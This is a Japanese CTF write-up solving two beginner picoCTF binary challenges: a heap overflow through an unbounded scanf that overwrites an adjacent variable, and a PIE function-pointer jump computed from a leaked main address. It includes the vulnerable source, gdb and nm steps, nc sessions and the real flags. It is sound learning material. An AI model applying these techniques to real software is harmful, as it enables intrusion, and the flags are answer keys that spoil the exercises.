注意事項
本記事は倫理的ハッキングの観念のもと作成されています。
記事の内容を自身が管理するシステム以外で試す際は、必ずそのアクセス管理者の了承をとった上で実施してください。
はじめに
42 Tokyoに25年10月から入学した、re4lityです。
いつもは個人ブログで投稿しているのですが、アドベントカレンダーに参加してみることにしました。
私は42 Tokyoでソフトウェアプログラミングを学ぶ傍ら、42cybersecurityにてサイバーセキュリティに関して勉強をしています。
アドベントカレンダー初日に42cybersecurityのボス@martina328が記事を投稿しているのでよければそちらもどうぞ。
この記事では、PicoCTFというCTFを学べるプラットフォームでバイナリ解析の問題を解く過程をまとめました。
フラグのとり方がわかってしまうので、一旦素の状態で以下の問題に挑戦してみた後にこの記事を読むのがおすすめです。
自分自身も学びながら書いているので、誤った解説になっていたらコメントで教えてください!
環境構築
今回はkali linuxをDocker経由で活用し、ツールとしてpwntoolsとgefを導入したgdbを使います。
※今回は超入門編のため、pwntoolsは使わずに手作業でターミナルからフラグを取ります。
まず、Dockerをインストールした状態で、こちらのリポジトリをクローンします。
次にプロジェクトのルートにおいて以下のコマンドを実行します。
docker compose up -d
バックグラウンドでプロセスが起動するので、
docker compose exec kali bash
でkali linuxの中に入ります。
なお、CTFを解く際は専用のブラウザのプロファイルを作成し、デフォルトのファイルダウンロードパスをdockerのリポジトリ下の/CTF以下に設定するとシームレスにkaliを使うことができるので、おすすめです。
このDockerは/CTF以下のディレクトリをkali上にマウントさせているのでCTF以外の野良のファイルを解析する場合はホストマシンに影響が及ぶ場合があります。注意して使ってください。
それでは実際に解いていきましょう。
heap 0
提供されたファイル challと ソースコードchall.c を分析し、リモートサーバーからフラグを取得する問題です。
ソースコードの確認
chall.c を確認すると、ヒープ領域に2つの変数を確保しています。
// chall.c (抜粋)
void init() {
// ...
input_data = malloc(INPUT_DATA_SIZE); // 5 bytes
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE); // 5 bytes
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
input_dataとsafe_varはヒープ上で隣接しそうです。
実際にgdbを用いて確認してみます。
main関数冒頭で呼ばれるinit関数内においてメモリ確保が行われます。そのため、確保後の状態を確認するにはinitの実行後に一時停止する必要があります。ここではinit直後に呼ばれるprint_heap関数にブレークポイントを設定します。
$ gdb ./chall
gef➤ break print_heap
gef➤ run
ブレークポイントで実行が停止したら、グローバル変数として定義されているinput_dataとsafe_varのアドレスを見ます。
gef➤ p input_data
$1 = 0x5555555596b0 "pico"
gef➤ p safe_var
$2 = 0x5555555596d0 "bico"
ここから、input_dataとsafe_varは0x20、つまり32バイト分離れて隣接していることがわかります。
次に、write_buffer関数をみると、ユーザー入力を受け付けています。
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
scanf("%s", ...)は入力文字数の制限を行わないため、確保されたINPUT_DATA_SIZE(5バイト) を超えて書き込むことが可能です。
check_win関数は以下のようになっています。
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
// フラグを表示
}
// ...
}
解いてみる
safe_varの内容が "bico" でなくなれば、フラグが得られます。
input_dataからオーバーフローさせることで、隣接するsafe_varを書き換えることができます。
write_buffer関数でバッファーに32バイト以上の文字列を書き込めばsafe_var変数が書き換わり、フラグを取ることができます。
ちなみに33バイト以上ではなく32バイト以上なのは、文字列にはヌル文字が入っているので32バイト分の文字列を入力したつもりでも書き込まれるデータ量としては33バイトになるためです。
実際のフラグを含みます
$ nc tethys.picoctf.net 62460
Enter your choice: 2
(文字を32文字以上打ち込む)
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_76775c7c}
PIE TIME
ファイル vulnと ソースコードvuln.cを分析し、リモートサーバーからフラグを取得する問題です。
ソースコードの確認
vuln.c を確認すると、以下の挙動が見られました。
-
main関数のアドレスを表示する (PIE有効なバイナリのアドレスリーク) - ユーザーからアドレスの入力を受け付ける
- 入力されたアドレスを関数ポインタとしてキャストし、実行する (
foo()) -
winという関数内でflag.txtを読み込んで表示している
// vuln.c (抜粋)
int win() {
// ...
fptr = fopen("flag.txt", "r");
// ...
// フラグを表示
}
int main() {
// ...
printf("Address of main: %p\n", &main); // main関数のアドレスが表示される
// ...
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo(); // 任意のアドレスへジャンプ→win関数に飛びたい
}
解いてみる
このプログラムは PIE (Position Independent Executable) が有効になっているため、実行時にアドレスがランダム化されます。しかし、main 関数のアドレスがリークされているため、これを利用してベースアドレスまたは他の関数のアドレスを計算できます。
nm コマンドを使用して、main 関数と win 関数のオフセットを確認してみます。
$ nm vuln | grep -E ' T (main|win)'
000000000000133d T main
00000000000012a7 T win
main と win の距離(オフセットの差)は常に一定になるため、差分 は 0x133d - 0x12a7 = 0x96となります。
したがって、実行時にリークされた main のアドレスから 0x96 を引くことで、win 関数の実際のアドレスを計算できます。
あとはリモートサーバーに接続し、mainアドレスを受け取ってそこから0x96を引いた値を送信すればwin関数が実行され、フラグを取得することができます。
ちなみに16進数の計算はhttps://www.calculator.net/hex-calculator.html で行いました。
実際のフラグを含みます
$ nc rescued-float.picoctf.net 51441
Address of main: 0x5a0a47b2233d
Enter the address to jump to, ex => 0x12345: 0x5A0A47B222A7
Your input: 5a0a47b222a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_0392ebba}
おわりに
今回はPicoCTFの過去問から、バイナリ解析分野の「Easy」レベルの問題を2問解きました。
いろいろなツールを駆使しながら実行ファイルの中のフラグをとっていくのは、まさしくスーパーハカーのようで個人的にとても楽しめた経験でした。
まだまだ勉強する分野は多く残っているので、これからもCTFの研鑽を続けて実際の大会で好成績を残せるようにしたいと思います。